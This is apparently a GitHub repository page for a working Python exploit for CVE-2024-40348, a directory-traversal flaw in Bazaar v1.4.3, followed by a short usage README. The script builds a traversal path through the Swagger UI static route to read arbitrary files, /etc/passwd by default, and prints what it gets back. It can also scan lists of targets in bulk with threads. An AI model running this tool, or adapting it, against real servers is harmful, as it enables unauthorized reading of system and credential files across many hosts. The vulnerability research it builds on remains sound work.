POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.
Exploit Bazaar v1.4.3 :
"""
POC for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal.
This tool is based on this security research: https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
Tool By: x.com/MohamedNab1l
GitHub: https://github.com/bigb0x/CVE-2024-40348
Usage:
single scan: CVE-2024-40348.py -u hostname -p /etc/passwd
bulk scan CVE-2024-40348 -f file.txt -p /etc/passwd
Ref:
https://nvd.nist.gov/vuln/detail/CVE-2024-40348
https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
Disclaimer:
I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.
"""
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3
from urllib.parse import urljoin
import socket
import ssl
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ANSI color codes
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'
the_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
def banner():
print(f"""{light_orange_color}
_______ ________ ___ ____ ___ __ __ __ __ ____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / / // / / __ \__ // // / ( __ )
/ / | | / / __/________/ // / / /_/ / // /_______/ // /_/ / / //_ </ // /_/ __ |
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__ __/ /_/ /__/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /_/ \____/____/ /_/ \____/ {reset_color}
{cyan_color}-> POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.
{dimmed_gray_color}-> x.com/MohamedNab1l.
{reset_color} """)
# Log directory and file
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')
# Function to create log directory
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message('info', f"Log directory created: {LOG_DIR}")
# Function to log messages
def log_message(message):
with open(LOG_FILE, 'a') as log_file:
log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")
# Function to print messages with ANSI colors
def print_message(level, message):
if level == 'vulnerable':
print(f"[{dimmed_gray_color}{the_time}]{honey_yellow_color} [VULN] {reset_color}{message}")
if level == 'info':
print(f"[{dimmed_gray_color}{the_time}]{dimmed_gray_color} [INFO] {reset_color}{message}")
elif level == 'warning':
print(f"[{dimmed_gray_color}[{the_time}]{green_color} [OK] {reset_color}{message}")
elif level == 'error':
print(f"[{light_gray_color}[{the_time}]{red_color} [ERROR] {message}{reset_color}")
log_message(message)
def make_request(url):
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
return response.text
else:
return None
except requests.RequestException as e:
return None
def send_raw_request(host, port, path):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if port == 443:
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
try:
sock.connect((host, port))
request = f"GET {path} HTTP/1.1\r\n"
request += f"Host: {host}:{port}\r\n"
request += "Cache-Control: max-age=0\r\n"
request += "Accept-Language: en-US\r\n"
request += "Upgrade-Insecure-Requests: 1\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
request += "Accept-Encoding: gzip, deflate, br\r\n"
request += "Connection: close\r\n\r\n"
sock.sendall(request.encode())
response = b""
while True:
data = sock.recv(4096)
if not data:
break
response += data
return response.decode('utf-8', errors='ignore')
finally:
sock.close()
def test_host(url, file_path):
try:
from urllib.parse import urlparse
parsed_url = urlparse(url)
host = parsed_url.hostname
port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
path = f"/api/swaggerui/static/../../../../../../../../../../../../../../../../{file_path}"
# print_message('info', f"Sending request to: {host}:{port}{path}")
print_message('info', f"Sending request to: {host}:{port}")
response = send_raw_request(host, port, path)
headers, _, body = response.partition('\r\n\r\n')
#print(f"Response Headers:\n{headers}")
if file_path == '/etc/passwd':
patterns = [
r'\w+:x:\d+:\d+:',
r'root:',
r'nobody:',
r'/bin/bash',
r'/usr/sbin/nologin'
]
else:
patterns = [r'\w+']
if any(re.search(pattern, body) for pattern in patterns):
print_message('vulnerable', f"Vulnerable {url}")
print_message('vulnerable', f"Reading {file_path}")
print(f"{body[:2000]}...\n")
else:
print_message('warning', f"Not Vulnerable {url}")
#print(f"Response Body:\n{body[:1000]}...")
except Exception as e:
#print_message('error', f"Error: {url} - {str(e)}")
print_message('error', f"{url}")
def worker(queue,file_path):
while not queue.empty():
url = queue.get()
print_message('info', f"Testing {url}")
test_host(url,file_path)
queue.task_done()
def main():
banner()
parser = argparse.ArgumentParser(description='POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target server')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')
parser.add_argument('-p', '--path', default='/etc/passwd', help='File path to check (default: /etc/passwd)')
args = parser.parse_args()
create_log_dir()
if args.url:
print_message('info', f"Testing single target: {args.url}")
test_host(args.url, args.path)
elif args.file:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print_message('info', f"Testing multiple targets from file: {args.file}")
if args.path:
file_path = args.path
else:
file_path = "/etc/passwd"
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
threads = []
for _ in range(10):
t = threading.Thread(target=worker, args=(url_queue,file_path))
t.start()
threads.append(t)
for t in threads:
t.join()
print_message('info', "Scanning complete.")
if __name__ == '__main__':
main()
Overview
This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.
How to Use
Minimum Requirements
- Python 3.6 or highe
Single Target:
python CVE-2024-40348.py -u http://target:7809 -p /etc/passwdBulk Sscan:
python CVE-2024-40348 -f file.txt -p /etc/passwd
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